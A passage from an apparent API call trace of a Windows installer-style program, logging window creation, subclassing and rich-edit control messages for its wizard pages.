lpPoint=0x18f79c) returned 1 [0263.530] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x5, wParam=0x0, lParam=0x90019d) returned 0x0 [0263.530] GetClientRect (in: hWnd=0x20322, lpRect=0x18f7c0 | out: lpRect=0x18f7c0) returned 1 [0263.530] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x3, wParam=0x0, lParam=0x270002) returned 0x0 [0263.530] IsIconic (hWnd=0x20322) returned 0 [0263.530] GetWindowRect (in: hWnd=0x20322, lpRect=0x18f798 | out: lpRect=0x18f798) returned 1 [0263.531] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1140918340 [0263.531] GetWindowLongA (hWnd=0x20322, nIndex=-8) returned 131872 [0263.531] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f798 | out: lpPoint=0x18f798) returned 1 [0263.531] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f7a0 | out: lpPoint=0x18f7a0) returned 1 [0263.531] GetWindowThreadProcessId (in: hWnd=0x20322, lpdwProcessId=0x18f7bc | out: lpdwProcessId=0x18f7bc) returned 0x8cc [0263.531] GetCurrentProcessId () returned 0x8d0 [0263.531] GetPropA (hWnd=0x20322, lpString=0xc167) returned 0x2c878a0 [0263.531] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0xbe10, wParam=0x3220001, lParam=0x20322) returned 0x0 [0263.531] SendMessageA (hWnd=0x20322, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0263.531] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0263.531] IsIconic (hWnd=0x20322) returned 0 [0263.531] GetWindowRect (in: hWnd=0x20322, lpRect=0x18fd68 | out: lpRect=0x18fd68) returned 1 [0263.531] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1140918340 [0263.531] GetWindowLongA (hWnd=0x20322, nIndex=-8) returned 131872 [0263.531] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18fd68 | out: lpPoint=0x18fd68) returned 1 [0263.531] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18fd70 | out: lpPoint=0x18fd70) returned 1 [0263.531] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x1 [0263.538] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1140918340 [0263.538] SendMessageA (hWnd=0x20322, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x0 [0263.538] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x0 [0263.539] SendMessageA (hWnd=0x20322, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0263.539] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0263.539] GetSysColor (nIndex=5) returned 0xffffff [0263.539] SendMessageA (hWnd=0x20322, Msg=0x443, wParam=0x0, lParam=0xffffff) returned 0xffffff [0263.539] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x443, wParam=0x0, lParam=0xffffff) returned 0xffffff [0263.539] SendMessageA (hWnd=0x20322, Msg=0x43b, wParam=0x0, lParam=0x0) returned 0x0 [0263.539] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x43b, wParam=0x0, lParam=0x0) returned 0x0 [0263.539] SendMessageA (hWnd=0x20322, Msg=0x445, wParam=0x0, lParam=0x4000000) returned 0x0 [0263.539] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x445, wParam=0x0, lParam=0x4000000) returned 0x0 [0263.539] SendMessageA (hWnd=0x20322, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0263.539] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0263.543] SetPropA (hWnd=0x20322, lpString=0xc167, hData=0x2c878a0) returned 1 [0263.543] SetPropA (hWnd=0x20322, lpString=0xc168, hData=0x2c878a0) returned 1 [0263.543] SetWindowPos (hWnd=0x20322, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.543] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x46, wParam=0x0, lParam=0x18fe50) returned 0x0 [0263.543] SendMessageA (hWnd=0x20322, Msg=0x435, wParam=0x0, lParam=0x7ffffffe) returned 0x0 [0263.543] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x435, wParam=0x0, lParam=0x7ffffffe) returned 0x0 [0263.543] SendMessageA (hWnd=0x20322, Msg=0x449, wParam=0x2, lParam=0x18fea4) returned 0x0 [0263.543] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x449, wParam=0x2, lParam=0x18fea4) returned 0x0 [0263.558] SendMessageA (hWnd=0x20322, Msg=0x449, wParam=0x1, lParam=0x18fea4) returned 0x1f4 [0263.558] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x449, wParam=0x1, lParam=0x18fea4) returned 0x1f4 [0263.564] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.564] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fe5c | out: lpWndClass=0x18fe5c) returned 1 [0263.564] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=417, nHeight=237, hWndParent=0x40338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2031c [0263.564] SetWindowLongA (hWnd=0x2031c, nIndex=-4, dwNewLong=2297553) returned 4274892 [0263.565] GetWindowLongA (hWnd=0x2031c, nIndex=-16) returned 1174405120 [0263.565] GetWindowLongA (hWnd=0x2031c, nIndex=-12) returned 0 [0263.565] SetWindowLongA (hWnd=0x2031c, nIndex=-12, dwNewLong=131868) returned 0 [0263.565] SetPropA (hWnd=0x2031c, lpString=0xc167, hData=0x2c749d4) returned 1 [0263.565] SetPropA (hWnd=0x2031c, lpString=0xc168, hData=0x2c749d4) returned 1 [0263.565] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x81, wParam=0x0, lParam=0x18f9b4) returned 0x1 [0263.565] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x83, wParam=0x0, lParam=0x18f9a0) returned 0x0 [0263.565] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x1, wParam=0x0, lParam=0x18f9b4) returned 0x0 [0263.565] IsIconic (hWnd=0x2031c) returned 0 [0263.565] GetWindowRect (in: hWnd=0x2031c, lpRect=0x18f7b4 | out: lpRect=0x18f7b4) returned 1 [0263.565] GetWindowLongA (hWnd=0x2031c, nIndex=-16) returned 1174405120 [0263.565] GetWindowLongA (hWnd=0x2031c, nIndex=-8) returned 262968 [0263.565] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7b4 | out: lpPoint=0x18f7b4) returned 1 [0263.565] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7bc | out: lpPoint=0x18f7bc) returned 1 [0263.565] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0263.566] GetClientRect (in: hWnd=0x2031c, lpRect=0x18f7e0 | out: lpRect=0x18f7e0) returned 1 [0263.566] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0263.566] IsIconic (hWnd=0x2031c) returned 0 [0263.566] GetWindowRect (in: hWnd=0x2031c, lpRect=0x18f7b8 | out: lpRect=0x18f7b8) returned 1 [0263.566] GetWindowLongA (hWnd=0x2031c, nIndex=-16) returned 1174405120 [0263.566] GetWindowLongA (hWnd=0x2031c, nIndex=-8) returned 262968 [0263.566] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7b8 | out: lpPoint=0x18f7b8) returned 1 [0263.566] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7c0 | out: lpPoint=0x18f7c0) returned 1 [0263.566] GetWindowThreadProcessId (in: hWnd=0x2031c, lpdwProcessId=0x18f7dc | out: lpdwProcessId=0x18f7dc) returned 0x8cc [0263.566] GetCurrentProcessId () returned 0x8d0 [0263.566] GetPropA (hWnd=0x2031c, lpString=0xc167) returned 0x2c749d4 [0263.566] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0xbe10, wParam=0x31c0001, lParam=0x2031c) returned 0x0 [0263.566] IsIconic (hWnd=0x2031c) returned 0 [0263.566] GetWindowRect (in: hWnd=0x2031c, lpRect=0x18fd84 | out: lpRect=0x18fd84) returned 1 [0263.566] GetWindowLongA (hWnd=0x2031c, nIndex=-16) returned 1174405120 [0263.566] GetWindowLongA (hWnd=0x2031c, nIndex=-8) returned 262968 [0263.566] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd84 | out: lpPoint=0x18fd84) returned 1 [0263.566] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0263.566] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.566] SetPropA (hWnd=0x2031c, lpString=0xc167, hData=0x2c749d4) returned 1 [0263.566] SetPropA (hWnd=0x2031c, lpString=0xc168, hData=0x2c749d4) returned 1 [0263.566] SetWindowPos (hWnd=0x2031c, hWndInsertAfter=0x9024e, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.566] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x2031c, Msg=0x46, wParam=0x0, lParam=0x18fe48) returned 0x0 [0263.567] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.567] GetClassInfoA (in: hInstance=0x400000, lpClassName="EDIT", lpWndClass=0x18fdd8 | out: lpWndClass=0x18fdd8) returned 1 [0263.567] GetClassInfoA (in: hInstance=0x400000, lpClassName="RichEdit20A", lpWndClass=0x18fdd8 | out: lpWndClass=0x18fdd8) returned 1 [0263.567] GetClassInfoA (in: hInstance=0x400000, lpClassName="TRichEditViewer", lpWndClass=0x18fe40 | out: lpWndClass=0x18fe40) returned 1 [0263.567] CreateWindowExA (dwExStyle=0x200, lpClassName="TRichEditViewer", lpWindowName="", dwStyle=0x44210844, X=0, Y=24, nWidth=417, nHeight=205, hWndParent=0x2031c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2031e [0263.567] SetWindowLongA (hWnd=0x2031e, nIndex=-4, dwNewLong=2297540) returned 4274892 [0263.567] GetWindowLongA (hWnd=0x2031e, nIndex=-16) returned 1143015492 [0263.567] GetWindowLongA (hWnd=0x2031e, nIndex=-12) returned 0 [0263.567] SetWindowLongA (hWnd=0x2031e, nIndex=-12, dwNewLong=131870) returned 0 [0263.567] SetPropA (hWnd=0x2031e, lpString=0xc167, hData=0x2c74adc) returned 1 [0263.567] SetPropA (hWnd=0x2031e, lpString=0xc168, hData=0x2c74adc) returned 1 [0263.567] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x81, wParam=0x0, lParam=0x18f994) returned 0x1 [0263.568] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x7c, wParam=0xffffffec, lParam=0x18e3f0) returned 0x0 [0263.568] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x7d, wParam=0xffffffec, lParam=0x18e3f0) returned 0x0 [0263.568] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x83, wParam=0x0, lParam=0x18f980) returned 0x0 [0263.568] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x1, wParam=0x0, lParam=0x18f994) returned 0x0 [0263.568] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x46, wParam=0x0, lParam=0x18ec9c) returned 0x0 [0263.569] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x83, wParam=0x1, lParam=0x18ec74) returned 0x0 [0263.569] IsIconic (hWnd=0x2031e) returned 0 [0263.569] GetWindowRect (in: hWnd=0x2031e, lpRect=0x18ea68 | out: lpRect=0x18ea68) returned 1 [0263.569] GetWindowLongA (hWnd=0x2031e, nIndex=-16) returned 1140918340 [0263.569] GetWindowLongA (hWnd=0x2031e, nIndex=-8) returned 131868 [0263.569] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18ea68 | out: lpPoint=0x18ea68) returned 1 [0263.569] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18ea70 | out: lpPoint=0x18ea70) returned 1 [0263.569] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x47, wParam=0x0, lParam=0x18ec9c) returned 0x0 [0263.569] IsIconic (hWnd=0x2031e) returned 0 [0263.569] GetWindowRect (in: hWnd=0x2031e, lpRect=0x18d92c | out: lpRect=0x18d92c) returned 1 [0263.569] GetWindowLongA (hWnd=0x2031e, nIndex=-16) returned 1140918340 [0263.569] GetWindowLongA (hWnd=0x2031e, nIndex=-8) returned 131868 [0263.569] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18d92c | out: lpPoint=0x18d92c) returned 1 [0263.569] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18d934 | out: lpPoint=0x18d934) returned 1 [0263.569] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x5, wParam=0x0, lParam=0xc9019d) returned 0x0 [0263.569] GetClientRect (in: hWnd=0x2031e, lpRect=0x18d958 | out: lpRect=0x18d958) returned 1 [0263.571] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x7c, wParam=0xfffffff0, lParam=0x18ed40) returned 0x0 [0263.571] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x7d, wParam=0xfffffff0, lParam=0x18ed40) returned 0x1 [0263.571] IsIconic (hWnd=0x2031e) returned 0 [0263.571] GetWindowRect (in: hWnd=0x2031e, lpRect=0x18f794 | out: lpRect=0x18f794) returned 1 [0263.571] GetWindowLongA (hWnd=0x2031e, nIndex=-16) returned 1140918340 [0263.571] GetWindowLongA (hWnd=0x2031e, nIndex=-8) returned 131868 [0263.571] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18f794 | out: lpPoint=0x18f794) returned 1 [0263.571] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18f79c | out: lpPoint=0x18f79c) returned 1 [0263.571] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x5, wParam=0x0, lParam=0xc9019d) returned 0x0 [0263.571] GetClientRect (in: hWnd=0x2031e, lpRect=0x18f7c0 | out: lpRect=0x18f7c0) returned 1 [0263.571] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x3, wParam=0x0, lParam=0x1a0002) returned 0x0 [0263.571] IsIconic (hWnd=0x2031e) returned 0 [0263.571] GetWindowRect (in: hWnd=0x2031e, lpRect=0x18f798 | out: lpRect=0x18f798) returned 1 [0263.571] GetWindowLongA (hWnd=0x2031e, nIndex=-16) returned 1140918340 [0263.571] GetWindowLongA (hWnd=0x2031e, nIndex=-8) returned 131868 [0263.572] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18f798 | out: lpPoint=0x18f798) returned 1 [0263.572] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18f7a0 | out: lpPoint=0x18f7a0) returned 1 [0263.572] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x18f7bc | out: lpdwProcessId=0x18f7bc) returned 0x8cc [0263.572] GetCurrentProcessId () returned 0x8d0 [0263.572] GetPropA (hWnd=0x2031e, lpString=0xc167) returned 0x2c74adc [0263.572] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0xbe10, wParam=0x31e0001, lParam=0x2031e) returned 0x0 [0263.572] SendMessageA (hWnd=0x2031e, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0263.572] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0263.572] IsIconic (hWnd=0x2031e) returned 0 [0263.572] GetWindowRect (in: hWnd=0x2031e, lpRect=0x18fd68 | out: lpRect=0x18fd68) returned 1 [0263.572] GetWindowLongA (hWnd=0x2031e, nIndex=-16) returned 1140918340 [0263.572] GetWindowLongA (hWnd=0x2031e, nIndex=-8) returned 131868 [0263.572] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18fd68 | out: lpPoint=0x18fd68) returned 1 [0263.572] ScreenToClient (in: hWnd=0x2031c, lpPoint=0x18fd70 | out: lpPoint=0x18fd70) returned 1 [0263.572] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x1 [0263.572] GetWindowLongA (hWnd=0x2031e, nIndex=-16) returned 1140918340 [0263.572] SendMessageA (hWnd=0x2031e, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x0 [0263.572] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x0 [0263.572] SendMessageA (hWnd=0x2031e, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0263.572] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0263.572] GetSysColor (nIndex=5) returned 0xffffff [0263.572] SendMessageA (hWnd=0x2031e, Msg=0x443, wParam=0x0, lParam=0xffffff) returned 0xffffff [0263.572] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x443, wParam=0x0, lParam=0xffffff) returned 0xffffff [0263.573] SendMessageA (hWnd=0x2031e, Msg=0x43b, wParam=0x0, lParam=0x0) returned 0x0 [0263.573] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x43b, wParam=0x0, lParam=0x0) returned 0x0 [0263.573] SendMessageA (hWnd=0x2031e, Msg=0x445, wParam=0x0, lParam=0x4000000) returned 0x0 [0263.573] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x445, wParam=0x0, lParam=0x4000000) returned 0x0 [0263.573] SendMessageA (hWnd=0x2031e, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0263.573] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0263.573] SetPropA (hWnd=0x2031e, lpString=0xc167, hData=0x2c74adc) returned 1 [0263.573] SetPropA (hWnd=0x2031e, lpString=0xc168, hData=0x2c74adc) returned 1 [0263.573] SetWindowPos (hWnd=0x2031e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.573] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x46, wParam=0x0, lParam=0x18fe50) returned 0x0 [0263.573] SendMessageA (hWnd=0x2031e, Msg=0x435, wParam=0x0, lParam=0x7ffffffe) returned 0x0 [0263.573] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x435, wParam=0x0, lParam=0x7ffffffe) returned 0x0 [0263.573] SendMessageA (hWnd=0x2031e, Msg=0x449, wParam=0x2, lParam=0x18fea4) returned 0x0 [0263.573] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x449, wParam=0x2, lParam=0x18fea4) returned 0x0 [0263.574] SendMessageA (hWnd=0x2031e, Msg=0x449, wParam=0x1, lParam=0x18fea4) returned 0x25a [0263.574] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031e, Msg=0x449, wParam=0x1, lParam=0x18fea4) returned 0x25a [0263.575] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.575] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fe5c | out: lpWndClass=0x18fe5c) returned 1 [0263.575] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=417, nHeight=237, hWndParent=0x40338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20318 [0263.575] SetWindowLongA (hWnd=0x20318, nIndex=-4, dwNewLong=2296981) returned 4274892 [0263.575] GetWindowLongA (hWnd=0x20318, nIndex=-16) returned 1174405120 [0263.575] GetWindowLongA (hWnd=0x20318, nIndex=-12) returned 0 [0263.575] SetWindowLongA (hWnd=0x20318, nIndex=-12, dwNewLong=131864) returned 0 [0263.575] SetPropA (hWnd=0x20318, lpString=0xc167, hData=0x2c89bb8) returned 1 [0263.575] SetPropA (hWnd=0x20318, lpString=0xc168, hData=0x2c89bb8) returned 1 [0263.575] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x81, wParam=0x0, lParam=0x18f9b4) returned 0x1 [0263.575] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x83, wParam=0x0, lParam=0x18f9a0) returned 0x0 [0263.576] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x1, wParam=0x0, lParam=0x18f9b4) returned 0x0 [0263.576] IsIconic (hWnd=0x20318) returned 0 [0263.576] GetWindowRect (in: hWnd=0x20318, lpRect=0x18f7b4 | out: lpRect=0x18f7b4) returned 1 [0263.576] GetWindowLongA (hWnd=0x20318, nIndex=-16) returned 1174405120 [0263.576] GetWindowLongA (hWnd=0x20318, nIndex=-8) returned 262968 [0263.576] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7b4 | out: lpPoint=0x18f7b4) returned 1 [0263.576] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7bc | out: lpPoint=0x18f7bc) returned 1 [0263.576] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0263.576] GetClientRect (in: hWnd=0x20318, lpRect=0x18f7e0 | out: lpRect=0x18f7e0) returned 1 [0263.576] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0263.576] IsIconic (hWnd=0x20318) returned 0 [0263.576] GetWindowRect (in: hWnd=0x20318, lpRect=0x18f7b8 | out: lpRect=0x18f7b8) returned 1 [0263.576] GetWindowLongA (hWnd=0x20318, nIndex=-16) returned 1174405120 [0263.576] GetWindowLongA (hWnd=0x20318, nIndex=-8) returned 262968 [0263.576] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7b8 | out: lpPoint=0x18f7b8) returned 1 [0263.576] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7c0 | out: lpPoint=0x18f7c0) returned 1 [0263.576] GetWindowThreadProcessId (in: hWnd=0x20318, lpdwProcessId=0x18f7dc | out: lpdwProcessId=0x18f7dc) returned 0x8cc [0263.576] GetCurrentProcessId () returned 0x8d0 [0263.576] GetPropA (hWnd=0x20318, lpString=0xc167) returned 0x2c89bb8 [0263.576] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0xbe10, wParam=0x3180001, lParam=0x20318) returned 0x0 [0263.577] IsIconic (hWnd=0x20318) returned 0 [0263.577] GetWindowRect (in: hWnd=0x20318, lpRect=0x18fd84 | out: lpRect=0x18fd84) returned 1 [0263.577] GetWindowLongA (hWnd=0x20318, nIndex=-16) returned 1174405120 [0263.577] GetWindowLongA (hWnd=0x20318, nIndex=-8) returned 262968 [0263.577] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd84 | out: lpPoint=0x18fd84) returned 1 [0263.577] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0263.577] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.577] SetPropA (hWnd=0x20318, lpString=0xc167, hData=0x2c89bb8) returned 1 [0263.577] SetPropA (hWnd=0x20318, lpString=0xc168, hData=0x2c89bb8) returned 1 [0263.577] SetWindowPos (hWnd=0x20318, hWndInsertAfter=0x20320, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.577] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x46, wParam=0x0, lParam=0x18fe48) returned 0x0 [0263.577] IsIconic (hWnd=0x20318) returned 0 [0263.577] GetWindowRect (in: hWnd=0x20318, lpRect=0x18fc14 | out: lpRect=0x18fc14) returned 1 [0263.577] GetWindowLongA (hWnd=0x20318, nIndex=-16) returned 1174405120 [0263.577] GetWindowLongA (hWnd=0x20318, nIndex=-8) returned 262968 [0263.578] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc14 | out: lpPoint=0x18fc14) returned 1 [0263.578] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc1c | out: lpPoint=0x18fc1c) returned 1 [0263.578] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20318, Msg=0x47, wParam=0x0, lParam=0x18fe48) returned 0x0 [0263.578] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.578] GetClassInfoA (in: hInstance=0x400000, lpClassName="EDIT", lpWndClass=0x18fdd8 | out: lpWndClass=0x18fdd8) returned 1 [0263.578] GetClassInfoA (in: hInstance=0x400000, lpClassName="RichEdit20A", lpWndClass=0x18fdd8 | out: lpWndClass=0x18fdd8) returned 1 [0263.578] GetClassInfoA (in: hInstance=0x400000, lpClassName="TRichEditViewer", lpWndClass=0x18fe40 | out: lpWndClass=0x18fe40) returned 1 [0263.578] CreateWindowExA (dwExStyle=0x200, lpClassName="TRichEditViewer", lpWindowName="", dwStyle=0x44210844, X=0, Y=24, nWidth=417, nHeight=205, hWndParent=0x20318, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2031a [0263.578] SetWindowLongA (hWnd=0x2031a, nIndex=-4, dwNewLong=2296968) returned 4274892 [0263.578] GetWindowLongA (hWnd=0x2031a, nIndex=-16) returned 1143015492 [0263.578] GetWindowLongA (hWnd=0x2031a, nIndex=-12) returned 0 [0263.578] SetWindowLongA (hWnd=0x2031a, nIndex=-12, dwNewLong=131866) returned 0 [0263.579] SetPropA (hWnd=0x2031a, lpString=0xc167, hData=0x2c8a564) returned 1 [0263.579] SetPropA (hWnd=0x2031a, lpString=0xc168, hData=0x2c8a564) returned 1 [0263.579] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x81, wParam=0x0, lParam=0x18f994) returned 0x1 [0263.579] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x7c, wParam=0xffffffec, lParam=0x18e3f0) returned 0x0 [0263.579] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x7d, wParam=0xffffffec, lParam=0x18e3f0) returned 0x0 [0263.579] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x83, wParam=0x0, lParam=0x18f980) returned 0x0 [0263.579] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x1, wParam=0x0, lParam=0x18f994) returned 0x0 [0263.579] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x46, wParam=0x0, lParam=0x18ec9c) returned 0x0 [0263.580] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x83, wParam=0x1, lParam=0x18ec74) returned 0x0 [0263.580] IsIconic (hWnd=0x2031a) returned 0 [0263.580] GetWindowRect (in: hWnd=0x2031a, lpRect=0x18ea68 | out: lpRect=0x18ea68) returned 1 [0263.580] GetWindowLongA (hWnd=0x2031a, nIndex=-16) returned 1140918340 [0263.580] GetWindowLongA (hWnd=0x2031a, nIndex=-8) returned 131864 [0263.580] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18ea68 | out: lpPoint=0x18ea68) returned 1 [0263.580] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18ea70 | out: lpPoint=0x18ea70) returned 1 [0263.580] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x47, wParam=0x0, lParam=0x18ec9c) returned 0x0 [0263.580] IsIconic (hWnd=0x2031a) returned 0 [0263.580] GetWindowRect (in: hWnd=0x2031a, lpRect=0x18d92c | out: lpRect=0x18d92c) returned 1 [0263.580] GetWindowLongA (hWnd=0x2031a, nIndex=-16) returned 1140918340 [0263.580] GetWindowLongA (hWnd=0x2031a, nIndex=-8) returned 131864 [0263.580] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18d92c | out: lpPoint=0x18d92c) returned 1 [0263.580] ScreenToClient (in: 